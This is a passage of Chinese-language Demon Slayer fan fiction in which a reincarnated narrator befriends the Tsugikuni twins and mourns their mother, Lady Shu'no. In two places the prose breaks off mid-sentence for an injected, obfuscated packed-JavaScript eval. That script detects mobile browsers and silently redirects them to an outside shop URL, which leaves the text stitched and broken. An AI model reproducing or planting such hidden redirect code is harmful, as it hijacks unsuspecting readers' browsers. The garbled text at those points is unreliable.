红色胎记应该大部分都是良性的,更是不必过分担心,况且—— 你凑近了仔细观察,缘一环抱着朱乃夫人,眨巴眨巴眼睛,露出脸乖乖地给你看。 唔,边缘清晰整齐、表面光滑、形状规则,看起来也没有癌变的风险。 论长相,两兄弟一个模子里刻出来的骨相清俊,弟弟多出来的痕迹也不影响五官的秀气精致。 总结:孩子好得很,全是迷信的古人瞎想。 真是的,双胞胎不应该是得到任何东西不一样都要闹得天翻地覆吗?待遇天差地别到其中一个都见不了光,太违背人性了。 搞不懂这些小日子。 “我听说有些人的胎记长大后就没有了,夫人您就放心吧。”虽然存在概率问题,但谁不想听好话呢,你由衷地安慰道。 “我不是在乎这个,”朱乃夫人擦擦眼角,“但你能这么想,我太开心了,谢谢你,真的非常谢谢你。” 哎,这就到说谢谢的程度了吗?脸上的热度有攀升的趋势,你慌忙移开视线,求助地望向一旁的岩胜。 “母亲,”他拉过呆呆的搞不清状况的缘一,“弟弟好不容易出来一次,让他多玩一会儿吧。” 你是不能参与进去了,顶着头上的伤,谁也不敢让你乱动。朱乃夫人用甜甜的点心来补偿,你们拉开纸门坐在走廊上,一边吃一边看他们游戏。 所有人都有事做,你偷偷地挪到边上,两条腿垂下去,惬意地晃动, 这间男主人不在的屋子里,所有人享受着亲呢的氛围,你也被被他们打动,内心一片柔软。 一身粗布单衣、光着小腿的缘一,在岩胜的紫色羽织前,简直像个烧火小子,但两兄弟相似的容貌和同频的雀跃,昭示着他们血脉相连的感情。 可惜坏掉的风筝怎么都飞不起来,落下来缠了一身,岩胜没有去玩乐选择继续挥刀,这会儿也不得不跑过去帮忙。 朱乃心疼地唤两个孩子进来,一个给擦汗一个给抱抱。 “累一天了,怎么不歇歇呢?” 岩胜手握着袋竹刀大声宣布:“我不累,我会是天下第一的武士!” 朱乃笑了:“好呀,但武士也需要休息。” 这时,一直没什么反应的缘一也慢慢转过头,专注地看向兄长。 经过一番讨论,最终决定下棋玩,岩胜把摆好的围棋棋局收回来,给你讲双六的玩法。 “很简单的,缘一也会玩。” 真的吗,你有些怀疑。和小大人一样的岩胜不同,缘一看起来完全就是个孩子,还是那种比较慢的孩子。 双胞胎也会有资质相差很大的情况,而且他们受的教育应该完全不一样吧。人不能社会化的话,就会这样发育迟缓、适应能力很差的。 于是你同情心爆棚,问道:“那缘一你来教我,双六要怎么玩啊。” 缘一看了你一会儿,可疑地扭开了头。 嗯? 岩胜迟疑地开口:“缘一他听不见。” 好像是哦,自从遇见你还没听过他开口说话,还以为是关久了不习惯说话呢。但如果真的听不见,他为什么躲开? 你侧身探前去盯住缘一,直视他赫色的双瞳。他像是感到了不适,干脆背过身去。 你站起来绕到他的正前方,居高临下的打量。 见躲不开,他顺着你的视线头歪下来,花牌形状的耳坠垂到一边。 你连忙扶正脑袋。 干嘛学我啊…… 你一个激灵。 不会说话、行为刻板,明显有社交障碍,还会躲避视线,该不会…… 你赶紧把猜测掐灭在摇篮里。说出来有什么用,会有什么改善吗? 给缘一穿耳洞、戴耳坠,当女孩来养,朱乃夫人在意的仅仅是孩子能平安健康而已。下定决心告诉你的时候,都那样为难了,何必再增加她的痛苦呢? 你坐了回去。 “那我们得多和他说说话才行。” 这回答听起来驴唇不对马嘴啊,可解释太难,算了。 “缘一,一起来玩吧。” 你伸出了手。 4. 第 4 章 玩了一天回到房间,你马上被母亲训斥了。因为头上的伤,她单方面地认为你一定是闯下了祸,问也不问就押着你去朱乃夫人那里道歉了。 本质上讲,你这个人社恐、内向,非常容易害羞,爱好是一个人看看书、写写字什么的,完全的学生气,外表也足够文静内敛。 但在这一世父母的眼里,你不爱规矩地跪坐,老是到处溜达着走,偏爱肉食和新鲜蔬菜这类粗鄙的食物,想要锻炼身体提高体质,种种行为都不是一个好人家的女孩儿该做的。 他们认为你还小,可以严加管束剔除掉“天性里不够高雅”的成分,所以格外严厉地要求礼仪姿态、约束你的举止。而你的固守前世常识的表现,常常引发他们对你前途的担忧。 考虑到这里前途约等于婚姻,婚姻约等于投资,他们真正担忧的是你的表里不一暗含着“不安分”的因素,会为家族招致祸患。 这是努力无法解决的问题,因为你越是向武家姬君的形象靠拢,“了解”你的父母就越感到你表相和内在的割裂,反而更加焦虑。 他们有多赞赏你呈现出的无可挑剔,就有多想抹除掉那背后的真实。 毕竟是同一个文化圈,你太清楚礼教的规训下,一个女人最大的罪过就是不够驯顺。可你根本无心也无力做一个反封建斗士,你只想尽量延续科学健康的生活方式,仅此而已。 知道解释只会被当作狡辩,你蔫头耷脑地跟在母亲身后,向朱乃夫人行礼致歉。 你这么快就去而复返,朱乃有些惊讶。听完你母亲的话后,她还礼回去,再三表示是自己照料不周,才让小姬君受伤云云。 看着母亲的表情,你明白她认为这不过是一场客套罢了。 接下来的几天中你失去了出门的权利。 不能玩,这没什么,你烦躁的是一直待在屋里就要一直跪坐。 双膝并拢,不留一丝缝隙,下跪,臀部压在脚踝上,双脚脚心重叠,脚背贴紧地面,上身挺直,手搭在膝上。 你这样坐上十分钟就开始小腿发麻、膝盖酸胀,再过一会儿,腰也不舒服了。如果不幸整个白天都要坐着,要到入睡才能找回对下半身的感觉。 “平时就是太惯着你了,”母亲用戒尺调整你歪掉的架势,不高兴道,“就不能学点好吗,你看继国夫人,那才是大家闺秀的样子,不像你花花架子哄人。” 是的,朱乃夫人总是很端庄地坐着,任何情况下都不会慌乱,身形纹丝不动,行动时一手扶住侍女莲步轻移,你没有见过她不合规矩的时候。 可是,不会累吗? 日本人不累的话,就不会脚下垫一个垫子,前面撑一个凭几了,为什么偏偏对女人要求这么高? 你难受得摇晃起来。宁可军训站军姿,你也不想这么坐着。 最后救了你的还是朱乃夫人。她邀请你一起来诵经祈福,保佑两位家主平安归来。 这是一个非常正经的理由,而且在当下看来十分有必要。母亲痛快地松了口,还叮嘱你多多向继国夫人学习。 继国家的小佛堂就设在主寝室的旁边,是间书院造风格的小屋,壁龛内装饰书画,床胁上供着一尊小小的佛像。 朱乃平日就在这里礼佛、祷告。她收藏的佛经是用延书体抄写的,汉字原文右侧加上假名注音,对你来说十分友好。 你和朱乃夫人一起净手,然后她开始焚香,你学她的样子拜了几拜,捧着卷轴看得不亦乐乎。 你的专业不少教科书就是繁体的,适应了竖排版的方向后,阅读速度马上恢复到了前世的水平。可惜很多佛经的文学水平不高,大段冗长、枯燥的义理,一目十行都嫌烦,不过,你倒是很喜欢里面的韵文,每段都要在心里默读几遍。 音韵与对仗是汉语之美的精华,你一直这么认为。汉语的韵律与节奏浸润在四五七言的偈诵还有方块字之间,你读得如饥似渴。 如果可以的话,你还是想做中国人,读写着这样的字长大。 期间,你心无旁骛只想多看一会儿,朱乃夫人也不挑剔你的仪态,放任你靠窗边站着看书,但缘一时不时冒出来常常吓你一跳,有时带着风筝跑来跑去,有时高举着手跑进来手指上停着一只小鸟,小鸟满屋子乱飞,你就读不下去了。 一开始你根本不知道他从哪里进来的,几次后才看到房间另一头狭窄的过道。那儿应该是佣人走的,方便他们迅速地呈上主人需要的东西然后同样迅速的消失。 缘一把这当作游戏给母亲取乐,没堤防把你吓得不轻。 你注意到和岩胜一起做的那只笛子在他手里,不由得好奇它的声音究竟如何。可缘一一次也没有吹响过,他总是很宝贝地把它捧在手里或插在腰间,你只好放弃提问。 岩胜有时练完刀也会过来,依旧是沉稳可靠的小大人模样,拒绝和弟弟胡闹。 但他陪着缘一一起走过那条过道,两个人似乎在那里分享着一天的见闻和感受。 那时的你不会想到缘一就生活在过道后那间只有三叠大小的房间里。 在继国家的最后一天,你得到了一支新的一节切,尺寸和你的手掌大小很合,可以轻易地放在袖子里带走。 你很开心,在这里的大部分时候都是开心的,抄佛经来应付母亲也开心。练习书法已是久远的回忆,你小学三年级就兼顾不来兴趣班和学业了,重新上手字形只剩那么一点意思在,还和假名的写法打架。 你花了半天时间才理顺,写出来还是不尽如人意,但在目前的年龄足够了,毕竟人小手小,手腕也没也力气。 朱乃夫人是看到了,才能选出这么合适的笛子送你吧。 作为回报,你送了缘一新的风筝。和他一直在玩的简易菱形风筝不一样,这只不仅是漂亮的燕子形,你还特意吩咐制作的人多加了一根线*。 具体来说,这是只双线的运动风筝,熟练的人可以双手操作,但初学者需要多一个人来配合。 你把风筝塞给缘一,鼓励地看向岩胜在的位置。 少年,数过这几天拒绝了弟弟多少次吗?哥哥不陪弟弟玩,小心将来追悔莫及。玩具是儿童的天使,知道迅哥儿这辈子都遗憾不能和弟弟一起放风筝吗?* 你殷切地注视下,缘一迟疑地接过,哒哒哒地跑了出去。不等你老怀欣慰,就缠着一身线跑了回来。 你:“……” 真是高估了,普通风筝都玩不好,还玩什么花式风筝。而且,不用出去也知道,岩胜再一次冷面无情地谢绝了邀约。 莫非他跟童年迅哥儿一样觉得风筝是没出息孩子的玩艺? 读书时你就弄不懂这种大家族长兄的心思,活的更不必说了。唉,自闭症儿童本来就封闭,家人也大爱无声的话,就太难搞了。 这些天,你试过和朱乃、岩胜暗示,他的弟弟是特殊的,缘一眼里的世界和我们不一样,需要足够的交流和陪伴才能适应等等。 但可能你说得太委婉了,结果是鸡同鸭讲。 希望这个礼物至少缘一是喜欢的吧。 你看着他蹦蹦跳跳地扑到房门口,朱乃夫人一出来,就飞快地黏在她身侧。胳膊整个搂过去,抱得紧紧的,脸都埋进母亲的裙摆里,风筝早被忘到了一边。 可你直觉他是开心,即使刚刚才被敬爱的兄长拒绝过。相反的是朱乃夫人,她总是不开心…… 朱乃夫人的面容总是沉静的,再加上这个时候的女人都化整张脸涂白的妆,乍看之下真像一具精心雕琢的人偶,但相处日久,你看到了她丰富的表情。 悲伤的、失望的、欣慰的、惊喜的、倦怠的…… 无论什么样,都充满了忍耐。朱乃夫人像忍耐痛苦一样,将所有的情绪都压了下去,变成大差不差的平静。 倘若这样才能成为闺秀的典范,那你是永远不可能成功的。 用她教的方法,你吹起了手里的笛子。和现代流水线的标准制品不同,手工时代的乐器每一件都独一无二,演奏者要花功夫去适应、驯服,你缺乏这种天分,吹得磕磕绊绊。 朱乃夫人弯下了腰,慢慢地把风筝线解下来,一圈一圈地缠好,放回到缘一的手里,然后看向你。 “小姬君,谢谢你。” 她总是这样郑重地道谢,好像你做了什么了不得东西,这让你非常非常地害羞。 一曲还没有学完,厮杀的男人们就回来了。 山田家的倒台已成定局,两家正式确立盟约,用缴获的战利品铸刀供奉在寺庙里。 但胜利者要完全消化这份果实也不轻松,盟友间漫长的拉锯可以预见,女眷们该退场了。 北厢外,你向朱乃和岩胜告别,身边站着母亲。 岩胜看起来跃跃欲试,在为将要恢复的武士刀学习暗自兴奋,缘一退回到众人看不见的地方,那只风筝没能飞起来。 就在刚刚,继国家主派人来交代了他接下来的安排,一样一样事无巨细,特别是关于岩胜的剑术进展。 “整天黏着母亲,能有什么出息。一会儿过来,看你退步了没有。”他用这句话作为结尾,说完就大踏步离开了。 岩胜表情一僵,羞愧地低下头去,朱乃原本搭在儿子肩上的手滑落下来。 转瞬间,朱乃脸上那些让她非常有生气的东西全都消失不见,变回你初次见到的人偶般的样子。 你感到熟悉的鸡娃恐惧,上一世的阴影重新笼罩心头,不敢再停留,赶紧走出大门坐上自家的牛车。 继国家主真的很像新闻里的那种海淀家长,人不在场,控制欲也时时刻刻套牢家里的每一个人,稍有松懈,都会被视作大逆不道而承受他的雷霆之怒。 你最怕这种人了。前世父母管得再紧,只要你取得满意的成绩,万事就都能商量,他却拿一整套条条框框钉死孩子的每一寸,超出一点呼吸都是错的。 你想起那天岩胜脸上的青紫,打了个哆嗦。 路上,继国家的紧张气氛散去,若干天来的见闻沉甸甸地压上心头。这是你作为时透家姬君所经历的头一桩大事,拍成大河剧的话,进军号角与凯旋的旗帜将是完美的开篇,昭示一位大女主不凡的人生开端。 但你感受着车轮缓缓的前进,首先想到的不是山田夫人的盛气凌人,而是那天宴席上的窃窃私语。 山田夫人也是本地望族出身的武家姬君,如今却是一笔失败的“投资”。她做错了什么? 你不敢想象她如今的状况,赶紧坐好,袖子里的一节切硬硬地戳在手肘上。 你猜测事情尘埃落定后婚事大概率会再提,没准儿这次就定下了。拿联姻当诱饵可一不可二,除非时透家不想在这个圈子里混了。 你没猜到的是竟会拖这么久。 父亲一直没给个准话,母亲在惊疑不定中迎来了产期,给你添了一个弟弟。继国夫人送来庆生的礼物,由你代笔回信感谢。 那件事之后,你需要回信的人家增加了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048770|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一倍不止,几乎要不堪重负。 继国在其中并不显眼,两家照常来往,又似乎比别家亲热一些。 你放弃思考,不想再纠结父亲属意的姻亲究竟是哪家,期盼他们永不开战更现实一些。 摇摆的氛围中,奶娘格外沉得住气。她凭借自己的经验认定家主早有想法,而她乐见其成。 不急着订婚,她也觉得不错。有些事说开了就要避嫌,对当事人来说反而不美,有接触的机会,情谊才有生长的空间。 她的这些想法你是后来才知道的,后来很多事都变了。 再见到岩胜,是在弟弟的满月仪式上。 按照传统,母亲抱着一身新衣的弟弟前往神社参拜,你因为近期表现良好获准同行。 穿过鸟居,参道上是来为生病的母亲祈福的岩胜。 明明没有隔很久,他给你的感觉就很不一样了。身量抽了一大截不说,脸上意兴萧索的表情,简直像变了个人。 你惊讶于无人发现这一点,他前来礼貌地打招呼,代家人问好,母亲神色如常地回礼,得知来意后,立即称赞他孝心难得。 岩胜客套地笑笑,再向你微微躬身。 真的好高,虽说比你大一岁,但这个年龄段应该是女孩子长得更快一些吧?上次见面,只需微微抬起头,现在要仰着脖子才行。 你弯腰行礼回去,祝福朱乃夫人身体健康。 仪式开始后,就没别人什么事了,你溜到拜殿外,看见他手捧神签经过,檐下的风铃正叮当作响。 他抽到了什么样的神签呢?你也感到了心里化不开的愁绪,向着殿内的方向拜了几拜,期望继国朱乃能快点好起来。 可惜世上无神,神座上的泥胎木塑无法给予任何回应。 你拜完,望着顶上垂下来的麻绳,却觉得好笑,心里空落落的。 因为对疾病无能为力而求神拜佛,细想终究是可哀的。 “你信神吗?”岩胜突然道。 你吓了一跳,眼睛聚焦,这才看清了来人。 他竟然没有走开,举足步上石阶,停在了你面前。 你愣愣地看着他,好一会儿想起来,神社里求来的签要系在指定的树枝上才能实现,他是来做这个的。 那样的话签文里的预言肯定是吉利的,可他还是刚来的状态,彬彬有礼的举止下是自己都察觉不到的神情不属。 “我看到你拜了,”他继续问道,“是信这个吗?” “你说的那些缘一不一样的话,是神告诉你的吗?” 你迟疑着没有回答,他好像是在问你,眼神却恍恍惚惚地落在虚空中的某处。 “大家都信神佛,不断祷告,向上天祈求一切没有的东西。” 他说得断断续续,但不停下来,也不像在思考,而是流淌着语言和想法的源头在逐渐干涸,于是流水无法保持畅通,可这些水之前在地下蓄积已久,不得不奔涌而来。 “可上天是凭借什么来撒播一切的呢?为什么有人多、有人少?少的人该怎么办呢?跪下来有用吗,读经呢、供奉呢?” “如果一切赐予都在出生之前,之后无论如何也不能改变,为什么还要编造奇迹的故事,这些神社寺庙怎么还立在这里?” 他还说了好多,声音越来越飘忽,你听不懂了,但是—— “这个世界上没有神,岩胜。”你道,“我也不信神。” 你比谁都清楚,你的才能、学识、措辞、思维以及判断力、看问题的角度来自于怎样刻苦且不间断的积累,以及更重要的——整个社会所达到的生产力水平,还有它为学习这件事所提供的便利。 上辈子你出生在一个无神论国家和凡事讲科学的年代,虽然爱看星座运势,走夜路怕撞见鬼,考试蒙题时在心里求各路神仙,参观寺庙一类的景点气氛到了也磕一个,甚至往功德箱、许愿池里投硬币,但你的的确确算得上一个坚定的唯物主义者。 神明不可证伪,也没有证据表明其存在,那就是没有,你很难相信虚无飘渺的东西。 即使这辈子穿越了,既没有系统发布任务,也没有金手指任你大杀四方,世界的构成依旧如此科学,你唯心不起来。 岩胜骤然被打断,如梦初醒,惊讶地瞪着你。 唉,知道过去人免不了都有些迷信,但太迷信了也不好,看吧,连累得孩子都魔怔了。 深知教育要从娃娃抓起,你向他科普唯物主义世界观。 “岩胜你看,天照大神穿和服,释迦摩尼披袈裟,神佛都长着人的面孔,是人渴望智慧、永恒、财富而不得,他们的需求投射出来,变成了神的样貌。没有人去顶礼膜拜,就没有这些寺庙、神社香火旺盛。” 说着、说着,你的眼神黯淡下来。 刚来到这里的时候,你是动摇过的。岩胜提到、没提到的方法,每个都试了,有何用呢,神没有来回复你的恐惧和思念。 人生终归要亲自面对。 可最初那点渺茫的念想,毕竟撑着你活到今天不至崩溃。无希望时寄托于虚无以求安慰,大家或多或少都有,谁比谁强呢。 你明白过来,自己的好为人师底色是傲慢,不禁感到羞愧。 “总之,不必信神。人天生的禀赋不平等,却共有造神的伟力。”心中块垒渐平,你说给他,但更像说给自己听。 “所以,信神不如信自己,问问自己什么才是最想要的,未来的方向就在那里。” 5. 第 5 章 最后,你都忘了在说什么,只记得断断续续说了好多,岩胜大概也是。 像小说里“独白的楼梯”:因为并排走在一个狭长、曲折又黑暗地方,各有心事的两个人变得格外坦白,自言自语偶然交汇,像极了一场对话。* 你们都只是需要个出口罢了。 系好了神签,你看他还是若有所思的样子,轻手轻脚地走开了。 无端开启的交际,最好是同样悄无声息地结束,免得事后想起为交浅言深尴尬。 你走出老远,才摁住胸口松了口气——看来我不是一点儿情商也没有啊,机智,太机智了! 仪式结束,母亲都没发现你开小差,心满意足地带着两个孩子回了家。 按理说交好人家的夫人生了病要问候一番的,你记挂着这件事,早早打好了腹稿,只等动笔,母亲却在拆开一封信后告诉你不必了。 战事平定后,要扫除余孽、瓜分战果、重定契约,这些也结束后,还要向幕府述职,详细汇报经过。这原本是武士的职责,但在幕府威信不断下降的情况下,已沦为礼仪性质的存在。 但,礼不可废。 也就是说两家的家主又要一同外出了。 家主不在,一切事务就要由家主夫人主持。继国家主既然选择在此时出发,看来夫人只是小病。 母亲读完信,神色舒展开,笑眯眯地随口抱怨几句,马上张罗着侍女们打点起来。这可是事关整个家族的要事,她有一大堆事等着处理,顾不上教养孩子了。 你慢吞吞地行礼告退,放下心的同时,总觉得哪里不对劲。 还没理出个头绪,母亲想起什么似的揽住你,喜气洋洋地靠过来,压得你只得贴上去,感受她衣襟上的暖香整个熨着你的脸。 “哎,应该晚点说的。”她心里高兴,难得逗逗你。 “猜猜是什么?” 你起了半身的鸡皮疙瘩,僵着不敢动,心里明白准没好事。 果然,母亲马上公布了答案:此番述职,不只是为之前的战事,父亲要趁着面见将军,将长子的继承人身份敲定下来,然后,就是你的事了。 最后这一段,她是用暗示的口吻说的,可你不是真的小孩子,当即就懂了。这导致母亲扳过你的肩低头看过来时,你全无反应。 母亲下意识皱起了眉。 算了,她应该还不懂吧。这样想着,她松开了手,让你回到房间去,别忘了今天的针线活。 虽然不是意想中的娇羞小女儿情态,你的表现至少足够稳重,勉强拿到及格分。所以,就算心里犯嘀咕,你的母亲没有罚你。 还没到门口,奶娘已得到消息,高兴地迎出来,一把把你抱住。 “我们的小姬君要长大了,喜欢什么样的衣服呀,让夫人给你准备一屋子的衣服好不好?” 你这才感到难过,迟到的愤怒和荒谬感顷刻间袭来,你一声不吭地抱了回去。 察觉到不对劲,奶娘收起笑容,拉开一点距离小心翼翼地问你:“夫人怎么说的呀?她有没有告诉你是谁?” 你平复好心情,只是摇头。 “没说,母亲什么都没说。” 那会儿,你也什么都没说。 小说剧情没有出现,你不是聪明勇敢、自信自强的女主角,那一刻你的大脑一片空白,回过神来也只剩虚弱无力,不要说誓死捍卫自由了,你连表达真实想法的勇气都没有。 你就这么躺在地上,什么也不想、什么也不做,奶娘看着心疼主动包揽了女红活,你更加唾弃自己,却提不起劲坐起来。 为了安慰自己,你开始设想另一种女主路线:主动适应规则,比古人还古人,最终达到反过来利用规则的效果,成功走向幸福人生。 得了吧。 要有这样的手段本领,你上辈子就不会立志待校园里啃一辈子书。 宝贵的穿越机会为什么要给你这种百无一用、清澈愚蠢的废物学生?怀抱幻想,认不清现实,没本事还心态脆弱,能成什么事啊。 你自怨自艾、哼哼唧唧,恨不能跟榻榻米融为一体,天昏地暗都不起来。 但世事总不能如人所愿。继国家的信使和暮色一同到来,带来了继国夫人病重的消息。 没有通公路的年代,远行可不是一件容易的事,由此形成很多特定的做法。讲究的人家不仅会在各种前期准备上上心,还要严守一系列禁忌。 比方说有一条是这样的,家中有服丧的人不能出门。 朱乃不是病到了十分危急的程度,继国家主不至于专门派人跑一趟,搁置如此重要的行程。 不过也说不准,此人一向迷信得很。也许朱乃只是有些不舒服要休息休息,他就小题大做不敢出门了。 你心乱如麻,想法变来变去,时而悲观、时而乐观,煎熬地睡不着,身上的寝衣都皱了。 奶娘在旁边守夜,顾不上说你,也是叹息:“继国夫人年纪轻轻,怎么就……”又道“真是好事多磨,以后的事儿说不准”“别想了,睡吧,想也没有”。 你一句听不进去,头蒙着被子躺下去,隔绝她的唠叨和外面的噪音。 不知多久,耳边响起规律的呼噜声,远处嘈杂的脚步声也听不到了,你还是睡不着满脑袋都是近一年来的几次相处的情形,当时怎么就没有发现她已经病到这个地步了呢? 记忆中,她只是看着比较安静,不太爱走动,容易疲倦而已,别人差不多也这样啊。 按你的标准,见过的贵族女子几乎全部都是亚健康状态,这是可以理解的,日常坐姿不符合人体工程学,因为素食传统营养摄入不够,崇尚贞静导致运动缺乏,又普遍剩生育频繁,debuff叠成这样,人很难健康。 但她们也不大劳力,风吹不着、雨淋不到的,不至于二十出头就重病缠身了。就算有些器质性的病变看不出来,发病也不会这么快吧。 你的猜测开始滑向阴谋论,吓得睡不着,一把推醒了打盹儿的奶娘。 “你说,明早母亲会去探病吗?” 奶娘本就睡得不踏实,迷迷糊糊地看了一眼纸窗映出的天色,没好气道:“还明早呢,已经是今天早上了。” 你一骨碌爬起来:“那正好,快穿衣服,我们到母亲那儿等着。” 门廊外的石阶上结着拂晓的露水,踩上去直打滑,你心不在焉左顾右盼,差点儿摔了一跤。 奶娘冷着脸拉住你,没让你摔个嘴啃泥:“就不该让你乱跑,有你一个小姬君什么事?” 你答非所问:“看那儿的灯笼,父亲肯定一晚没睡。” 她果然转移了注意力,看着明障子内人影憧憧感叹道:“真的是,来那么多人,家主大人也发愁呢。” 你轻巧地甩开她的手,一溜烟跑了。 母亲没打算探望病人,因为她要安排大家去奔丧,这是父亲派人打探来的。 你震惊地说不出话来。按照上次往返花的时间来算,朱乃应该是在寅时初刻,也就是仅仅一个小时前就过世了。 你想起她坐在窗前吹笛子、唱歌的样子,怎么也无法将亡者冰冷的气息与之相联系。 奔丧要到举行葬礼的时候,在此之前外人没有理由上门打扰,你有心多打听几句,可插不进嘴。 母亲这里也是满屋子的人,桌上的烛台躺满了烛泪,她正一脸的不耐烦,压低了声音又轻又快地和她们交代着什么。 “真看不出来。” “瞒得够久。” “也难怪,丢人啊……” “老爷能同意吗?” “是谁无所谓吧,只要是……” 你躲在帘子后,艰难地捕捉关键词,继国家啦、继承人啦、联姻啦、人选啦、长幼啦、祸事啦、不吉利啦,偶尔还夹杂几句骂人的话,没一个和朱乃有关。 看得出母亲没有要对你披露更多内幕的意思,不如说她发现你还在这里可就不妙了,得赶紧溜啊。 刚拉开格子门,奶娘气喘吁吁地追了上来。 “我和夫人说,咱们去寺里上一炷香,给老爷和小公子驱邪,怎么样?” 你眼睛一亮,立即点头。 神道教认为死亡是不洁的,所以古代日本丧葬由佛教寺庙而不是神社来处理,墓地也往往在分布在寺庙周围。 相邻的几国内最有名也离你最近的寺庙是真言宗的林泉寺,这附近差不多人家的人都来这里祭祀上供、参加法会或举行仪式,被排除在家族继承外的次子、三子也先到此学习一段时间,才会前往不同的主寺正式出家受戒。本地的武家家眷出门上香也都爱去林泉寺,对那儿的住持、僧人熟得不能再熟,两边勾结起来放贷谋利也是常有的,只是行事隐蔽不曾闹出来罢了。 而且,地处继国、时透两大势力范围的林泉寺,正是因这两家的供奉才能屹立不倒成为道内数一数二的大寺庙,平日里就对金主巴结得很,顺道包圆了两家的红白喜事,“良好关系”可谓源远流长,不是家庙胜似家庙。 所以,你外出的机会虽然少,到林泉寺还是比较容易的,何况有现成的理由。 母亲果然答应下来,还夸奶娘想得周到。 你满怀期待踏入寺庙正门,以为会碰见继国家的仆从来请人诵经,刚好打听打听,却扑了个空。 这怎么可能? 朱乃信佛,而且是很虔诚的那类信徒,你再确定不过了。她去世了,丈夫都不为她枕经吗?就算是一般人家,也不会这么敷衍吧。* 你心浮气躁,不想流露出来,只说:“我们等等吧。” 你等了一个时辰,僧人上殿、下课的钟声敲了几轮,香客来了一批又一批,你绕着塔将金堂、佛殿、回廊看了几遍,继国家的人连影都没有。 等是等不出结果的,你直接拍板:“走,到他们家去。” 奶娘反对无效,你顺利抵达目的地,堪称长驱直入。 因为继国家已经乱成了一团。 还没靠近正屋,你就被里面传出的震天哭喊惊到,一时不知还该不该迈腿往下走。 如此靠近一个人撕心裂肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048771|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的痛苦发泄,无异于在荒郊野岭里靠近一只凶兽。 你万万想不到继国家主是太过悲痛才忘了丧仪,久久伫立在原地,简直震撼于那一声声绝望的哀嚎,整个人变成了墙垣、假山一样的东西,空荡荡的胸腔里只剩那声音盘旋回荡。 这真的是继国家主吗? 周围的仆从似有同感,丢魂丧魄一样无意识地乱走,弄得到处乱糟糟的,奶娘随手拉住一个问了半天,对方什么也说不清楚。 你早已听得头大,疾步走开,轻车熟路地穿过几道走廊,停在一扇门前。 “岩胜,你在里面吗?” 无人应答。 你拉开了门。 岩胜还穿着夜间的寝衣,手脚摊开直挺挺地躺着,两眼无神地瞪向屋顶,被褥踢到一边。 你的心猛地揪了起来。 “岩胜,去看看父亲,他需要你。” 本想着他能缓缓去做点什么,总比一味沉浸在悲伤中好,可话刚出口,你也不确定起来:让一个明显还没接受母亲故去的孩子去安慰成人,真的好吗? 你走进屋来到他面前,岩胜一动不动,恍若未觉。 该说些什么呢?你深感言语的无力,只能沉默以对。 岩胜,是你最需要谁吧,那个人,是谁呢? 奶娘远远地看到了你的背影,几番欲言又止,干脆背过身守在外面。 沉默在你们两人间蔓延,你忘了来意,忘了回去后可能面对的诘问,在静止的时间与空气中,心平气和地接受自己仿佛无限的耐心。 终于,他开口了。 “你来这里做什么?” 没有指责、没有恶意,是纯纯粹粹的迷惑不解。他为你来到这里、出现在他面前感到奇怪。 “我什么都没了,你走吧。” 他的语气还是那样,平平静静、毫无波澜,不带一丝遮掩、躲避,只是客观地指出现实。 可你没有告诉他,现在的他看起来一点儿也不像个小大人了,他这样仰躺着,刘海胡乱地散在脸旁,眼睛睁得圆圆的,茫然又无措,完全是一个突然被抢走玩具的孩子。 “怎么会什么都没有呢,”你轻声道,“这儿就是你的家,母亲就算不在了,她也爱着你,永远希望你高高兴兴的。” “你胡说。”他直接道,“人死了就是没了,什么都没了。你的家也不会永远是你的,不是强大的武士,就不配有家。” 是,他说的,都是真的,而你在哄他,哄小孩一样哄。虽然他的的确确是一小孩,你也感到了羞愧。 “对,没有什么是永远的,亲人会离世,会带走我们感情的联结,世界也一直在变,强弱、名利的颠覆常常就在一瞬间……” “但是,”你慢慢坐下来,认真地看着他,“也还有很多牢固、不变的东西呀。比方说,我们可以坚定地相信自己,不变地持续努力,成为其他人牢固的依靠呀。” 你穿越到这个世界,来了就是来了,没法回去,你失去一切,父母也没了他们最爱的女儿。你努力生存,也相信他们最终能抚平伤痛,坚强地活下去。 他们可以的,一定可以的,你坚信不疑。 岩胜眨了一下眼睛,觉得无比干涩。 “有什么用,我已经没……” 你打断了他:“你还是有我的,你知道的吧。” 还猜不出父亲的打算,你就是个傻瓜。 岩胜当然也不是,他把头扭到一边:“你要嫁的是继国家的少主,你要嫁给缘一了。” 你说:“不,我只会嫁给你。” 你搞不懂岩胜在想什么。 这些天继国家发生了什么你不清楚,可缘一来当继承人,这怎么可能? 你是见过家主要做的事的,父亲的一天中,习武和巡视领地这种可以独自完成的工作只占很小的一部分,大多数时候他都在费心维持和邻国的往来,操心下属和佃农的生计,里面包括非常多鸡零狗碎的小事儿。 你不觉得别的武士家会有什么不同。家主要是军队的首领,还得地方的法官、邻里间的调解员、纠纷中的公证人,风雅一些的场合,要能诗酒唱和,即使在战时,刀对刀的交锋也只是一环,链接在上面的是大量人与人交流的工作。 所以,为什么要拿这种事情为难一个自闭症儿童啊!继国家主认真的吗,他真的了解过自己小儿子的状况吗?这是一个负责任、有判断力的大人能做出的决定吗?但凡稍微关心过两个孩子,都不会这么异想天开吧。 而且,老天安排剧本的时候,有没有考虑过你一个废物现代人的接受能力啊!好不容易从“有一个小豆丁未婚夫”的打击里走出来,还没调整好,分分钟就换人,还是两兄弟,有这么玩的吗? 